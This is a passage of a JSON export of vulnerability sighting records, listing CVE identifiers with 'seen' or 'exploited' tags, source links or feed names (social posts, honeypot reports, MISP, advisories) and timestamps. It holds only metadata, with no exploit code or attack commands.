"4362e8ac-a56e-4609-b551-35dc123e6ea4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3lh2gqbpttk2t", "content": "", "creation_timestamp": "2025-01-31T16:38:36.119298Z"}, {"uuid": "47638f02-d5c9-4a6a-b4bb-6084147d6c47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:46.000000Z"}, {"uuid": "e7b60d9c-68fd-40f3-87ff-ae98782a6dde", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-12-16)", "content": "", "creation_timestamp": "2024-12-16T00:00:00.000000Z"}, {"uuid": "8613596b-8310-4489-9243-2c4d3d54100f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-12-19)", "content": "", "creation_timestamp": "2024-12-19T00:00:00.000000Z"}, {"uuid": "14b01abe-e5a4-4e9b-b400-d5d6d700dd3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34235", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgdnzgxo6w2f", "content": "", "creation_timestamp": "2025-01-22T15:17:45.062379Z"}, {"uuid": "e9b51b62-3221-47f7-b43e-d6ec7861a22e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://bsky.app/profile/hacktoria.bsky.social/post/3ljsak3ey5h2s", "content": "", "creation_timestamp": "2025-03-07T14:42:02.057219Z"}, {"uuid": "0e392d56-0a22-495c-a726-793ee2aaee48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-03)", "content": "", "creation_timestamp": "2025-03-03T00:00:00.000000Z"}, {"uuid": "510d8b15-5e9d-4050-a7b8-cb72ef7ad235", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3449", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhulsqqw4a22", "content": "", "creation_timestamp": "2025-02-11T02:18:40.152356Z"}, {"uuid": "5aab7d16-02ae-4d86-8f83-fb31456fd11a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-10)", "content": "", "creation_timestamp": "2025-02-10T00:00:00.000000Z"}, {"uuid": "acf3ea72-a859-493a-8ed1-3c51c996feaa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:11:02.000000Z"}, {"uuid": "8df6c042-aa42-4f2d-9b52-8b4b2e994ca6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:11:03.000000Z"}, {"uuid": "2daa5270-436e-49b9-b02a-ffd18e5e404b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-04)", "content": "", "creation_timestamp": "2025-03-04T00:00:00.000000Z"}, {"uuid": "be20a2bf-871d-4424-b16f-0fcaf17e874e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34036", "type": "seen", "source": "https://gist.github.com/fklement/3a43dbb9fb361dddd8db7703080ade0f", "content": "", "creation_timestamp": "2025-02-25T07:42:55.000000Z"}, {"uuid": "ad83e424-44f3-4b53-a3c6-9507382d7827", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34520", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhzciyzje52i", "content": "", "creation_timestamp": "2025-02-12T23:15:28.718410Z"}, {"uuid": "143dad7a-8b1f-462a-864b-2fc982810cd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34521", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhzcj3r4zo2s", "content": "", "creation_timestamp": "2025-02-12T23:15:31.231575Z"}, {"uuid": "fc305564-3cfa-4da6-b268-f4d96aba5932", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34521", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhzn3zddbe26", "content": "", "creation_timestamp": "2025-02-13T02:25:05.694408Z"}, {"uuid": "5887e8ed-f2db-46c8-8757-c31daf80e09c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34520", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhzn42ynd426", "content": "", "creation_timestamp": "2025-02-13T02:25:13.233161Z"}, {"uuid": "3a1d1ae8-ec71-49c8-ab90-060870219506", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34035", "type": "seen", "source": "https://gist.github.com/fklement/3a43dbb9fb361dddd8db7703080ade0f", "content": "", "creation_timestamp": "2025-02-25T07:42:55.000000Z"}, {"uuid": "a5ffc128-9b12-40c6-87dd-a17791fd9ded", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34034", "type": "seen", "source": "https://gist.github.com/fklement/3a43dbb9fb361dddd8db7703080ade0f", "content": "", "creation_timestamp": "2025-02-25T07:42:55.000000Z"}, {"uuid": "dfdec4e1-fef8-4602-97b7-e3ec2440d2eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://bsky.app/profile/redteamnews.bsky.social/post/3ll3mgp2sut2p", "content": "", "creation_timestamp": "2025-03-24T01:34:02.656224Z"}, {"uuid": "87c459c0-ef93-4c5f-bcf2-159497afc925", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-12)", "content": "", "creation_timestamp": "2025-02-12T00:00:00.000000Z"}, {"uuid": "414bff38-de93-4088-8167-ecbfa28df959", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-22)", "content": "", "creation_timestamp": "2025-02-22T00:00:00.000000Z"}, {"uuid": "1faf5ea5-e1b2-4f48-8278-700dac37cab5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34398", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lk7cpu7lmi2n", "content": "", "creation_timestamp": "2025-03-12T19:25:40.526298Z"}, {"uuid": "dda58c9f-aab0-4c96-b77f-dca734487529", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34520", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113999014746436611", "content": "", "creation_timestamp": "2025-02-13T22:48:40.325693Z"}, {"uuid": "612161d0-eff4-4186-8724-bb7f851342ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-26)", "content": "", "creation_timestamp": "2025-02-26T00:00:00.000000Z"}, {"uuid": "43ee9c86-5295-4e12-879a-29c9aa0809fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-34331", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/114064609060229366", "content": "", "creation_timestamp": "2025-02-25T12:50:09.630368Z"}, {"uuid": "5e48b84f-93a7-43b4-b096-e8531a67b412", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34331", "type": "seen", "source": "https://mstdn.ca/users/rfwaveio/statuses/114065205459643256", "content": "", "creation_timestamp": "2025-02-25T15:21:53.471636Z"}, {"uuid": "3ce6ed56-9708-4d94-ae7a-9d571ce72ec0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-07)", "content": "", "creation_timestamp": "2025-03-07T00:00:00.000000Z"}, {"uuid": "46683b50-3763-4787-8473-3abfc65f38ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34331", "type": "seen", "source": "https://threatintel.cc/2025/02/25/security-alert-critical-flaws-in.html", "content": "", "creation_timestamp": "2025-02-25T11:50:15.000000Z"}, {"uuid": "5ac867fa-0afe-4547-8670-c2a291d727b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-17)", "content": "", "creation_timestamp": "2025-02-17T00:00:00.000000Z"}, {"uuid": "da64e1d7-1b02-49e7-9086-513be7266dcf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-17)", "content": "", "creation_timestamp": "2025-02-17T00:00:00.000000Z"}, {"uuid": "74d69ffc-1deb-4c15-b51f-dd164707632a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "seen", "source": "https://bsky.app/profile/saveam.bsky.social/post/3ljrc7eetf22v", "content": "", "creation_timestamp": "2025-03-07T05:44:37.411834Z"}, {"uuid": "fd8f36c2-927b-42a8-9605-fb5bc01c8c11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "seen", "source": "https://bsky.app/profile/saveam.bsky.social/post/3ljrc7ef46c2v", "content": "", "creation_timestamp": "2025-03-07T05:44:37.970890Z"}, {"uuid": "64cbcdd2-a3a3-4152-aaef-bfee3c28ce51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34438", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lj6s24wx4c23", "content": "", "creation_timestamp": "2025-02-27T21:01:59.464014Z"}, {"uuid": "6b782e2b-ca51-4ef2-a62b-97df06b2577a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "seen", "source": "https://bsky.app/profile/saveam.bsky.social/post/3ljrc7ef55k2v", "content": "", "creation_timestamp": "2025-03-07T05:44:38.539202Z"}, {"uuid": "3ea23865-d5c8-46c8-9d48-df6b4103859d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "seen", "source": "https://bsky.app/profile/saveam.bsky.social/post/3ljrc7ef55l2v", "content": "", "creation_timestamp": "2025-03-07T05:44:39.098400Z"}, {"uuid": "dc06938d-5953-48f5-b28f-1d0d7d70ab63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "seen", "source": "https://bsky.app/profile/saveam.bsky.social/post/3ljrc7ef55m2v", "content": "", "creation_timestamp": "2025-03-07T05:44:39.655787Z"}, {"uuid": "9dea8d4f-cabb-4007-8f75-ddb93645c1be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34331", "type": "seen", "source": "https://bsky.app/profile/maik.io/post/3liznq3ay3l2b", "content": "", "creation_timestamp": "2025-02-25T20:01:28.486363Z"}, {"uuid": "c2645250-d65f-4c89-9479-cb33558c9af0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34438", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3likodqchlw2b", "content": "", "creation_timestamp": "2025-02-19T21:02:33.677491Z"}, {"uuid": "6e9e8046-b0e1-4f24-9968-481e51ea58be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-19)", "content": "", "creation_timestamp": "2025-02-19T00:00:00.000000Z"}, {"uuid": "1b3e210c-7073-4ecf-b5ad-1e530d08c197", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://infosec.exchange/users/saltmyhash/statuses/114039171548967342", "content": "", "creation_timestamp": "2025-02-21T01:01:38.743377Z"}, {"uuid": "a68e8396-84cc-4baf-936d-d38c33c985e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3408", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-03-04T02:34:30.000000Z"}, {"uuid": "802c08e9-18de-4cb2-a598-13070b9fb41d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3408", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3ljleerbf7m25", "content": "", "creation_timestamp": "2025-03-04T21:02:04.769341Z"}, {"uuid": "04bef7ef-a33d-4372-b93d-43f3b6d2669a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:10:53.000000Z"}, {"uuid": "b18856f7-70f4-4c50-8c9c-b9e93ad4068a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:10:56.000000Z"}, {"uuid": "8ce848f1-bed7-474a-90d0-70629cf9d4df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34257", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-02)", "content": "", "creation_timestamp": "2025-03-02T00:00:00.000000Z"}, {"uuid": "e26460ad-9d27-423a-aa2a-0481f3e5499f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34331", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3liwtdcx2vt2r", "content": "", "creation_timestamp": "2025-02-24T17:03:43.538304Z"}, {"uuid": "77f6b094-61fb-437e-90dd-ee1f964b0227", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://bsky.app/profile/andranglin.bsky.social/post/3llqs5kyjc223", "content": "", "creation_timestamp": "2025-04-01T11:42:17.076271Z"}, {"uuid": "8debce1d-652f-438f-99ad-fbac468b84be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34750", "type": "seen", "source": "https://gist.github.com/moe88-8/34e55961fb0c8de023c9ef00b89f5963", "content": "", "creation_timestamp": "2025-04-02T14:40:28.000000Z"}, {"uuid": "ad30863d-90cf-4692-9847-1a86ae2125f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34257", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-15)", "content": "", "creation_timestamp": "2025-05-15T00:00:00.000000Z"}, {"uuid": "be9b0ab2-98c2-4f03-9384-e0d2754849ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "MISP/dcf911ee-17b3-4902-aa15-4ecabf2e40ce", "content": "", "creation_timestamp": "2025-06-19T23:26:58.000000Z"}, {"uuid": "a7da1bde-610a-43ec-b986-5915d586aa68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34257", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-04-12)", "content": "", "creation_timestamp": "2025-04-12T00:00:00.000000Z"}, {"uuid": "b9571f1e-e1ac-4bd2-ac16-2719f8d3b703", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3ltnnj5uxxz2x", "content": "", "creation_timestamp": "2025-07-11T01:02:47.311792Z"}, {"uuid": "05757164-578a-4e8e-91a3-81c58b43bb1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34397", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-162-05", "content": "", "creation_timestamp": "2025-06-12T10:00:00.000000Z"}, {"uuid": "b2c1e706-4fbd-4bdf-aaa2-c74bbc6310c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34257", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-04-23)", "content": "", "creation_timestamp": "2025-04-23T00:00:00.000000Z"}, {"uuid": "c3bf2e13-3234-4ee4-af2b-e611a0534021", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-04-24)", "content": "", "creation_timestamp": "2025-04-24T00:00:00.000000Z"}, {"uuid": "1ee44074-1687-4a58-aa08-8bc403e40db6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-24)", "content": "", "creation_timestamp": "2025-04-24T00:00:00.000000Z"}, {"uuid": "72e31790-29c0-4b87-b225-46a75165d35c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-25)", "content": "", "creation_timestamp": "2025-04-25T00:00:00.000000Z"}, {"uuid": "9e1d5d3c-d6e3-489e-acc3-8477d079b095", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-04-26)", "content": "", "creation_timestamp": "2025-04-26T00:00:00.000000Z"}, {"uuid": "27c705ef-be8b-4d06-89c4-49aa6ec68679", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-26)", "content": "", "creation_timestamp": "2025-04-26T00:00:00.000000Z"}, {"uuid": "621ef460-1cf7-4497-903b-4bb9da57d048", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-27)", "content": "", "creation_timestamp": "2025-04-27T00:00:00.000000Z"}, {"uuid": "bf71674c-f276-4805-8836-6516d68bcb22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-e1523a5c-9dce464b104523e0", "content": "", "creation_timestamp": "2025-06-26T08:53:35.081077Z"}, {"uuid": "f581fde4-df1f-40dc-9f4a-d66e73e7b474", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34098", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-259/", "content": "", "creation_timestamp": "2025-04-30T03:00:00.000000Z"}, {"uuid": "274cfe1a-ed27-4721-9d09-cbd2b69b2564", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34099", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-258/", "content": "", "creation_timestamp": "2025-04-30T03:00:00.000000Z"}, {"uuid": "d2f6da74-ac7d-4b5e-bdac-dc61edc51994", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34257", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-31)", "content": "", "creation_timestamp": "2025-05-31T00:00:00.000000Z"}, {"uuid": "c5bdfffc-780b-4a15-a7b9-4d60929f67ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-01)", "content": "", "creation_timestamp": "2025-05-01T00:00:00.000000Z"}, {"uuid": "6710972a-47d7-4eaa-8d03-d35242e7ed9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-01)", "content": "", "creation_timestamp": "2025-05-01T00:00:00.000000Z"}, {"uuid": "25a9dcd7-c173-42af-a7f0-ff2844d85d1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-03)", "content": "", "creation_timestamp": "2025-05-03T00:00:00.000000Z"}, {"uuid": "adbc3398-415b-4e67-885b-e5449bf6269d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-06)", "content": "", "creation_timestamp": "2025-05-06T00:00:00.000000Z"}, {"uuid": "aa327323-4d49-44aa-a1f6-149b4380af23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-06)", "content": "", "creation_timestamp": "2025-05-06T00:00:00.000000Z"}, {"uuid": "e3fa1dac-b620-49a3-9d99-9e510ce6a05d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-04)", "content": "", "creation_timestamp": "2025-11-04T00:00:00.000000Z"}, {"uuid": "a3a38af0-184a-4a42-81d8-2a7eb3129177", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-16)", "content": "", "creation_timestamp": "2025-07-16T00:00:00.000000Z"}, {"uuid": "1d05d573-9e34-4822-b830-b1de0046041c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://bsky.app/profile/ytroncal.bsky.social/post/3lu7lbziyus2w", "content": "", "creation_timestamp": "2025-07-18T04:10:59.104305Z"}, {"uuid": "ef8353ec-18d6-4da1-86a4-9bed9fe85bce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-01)", "content": "", "creation_timestamp": "2025-10-01T00:00:00.000000Z"}, {"uuid": 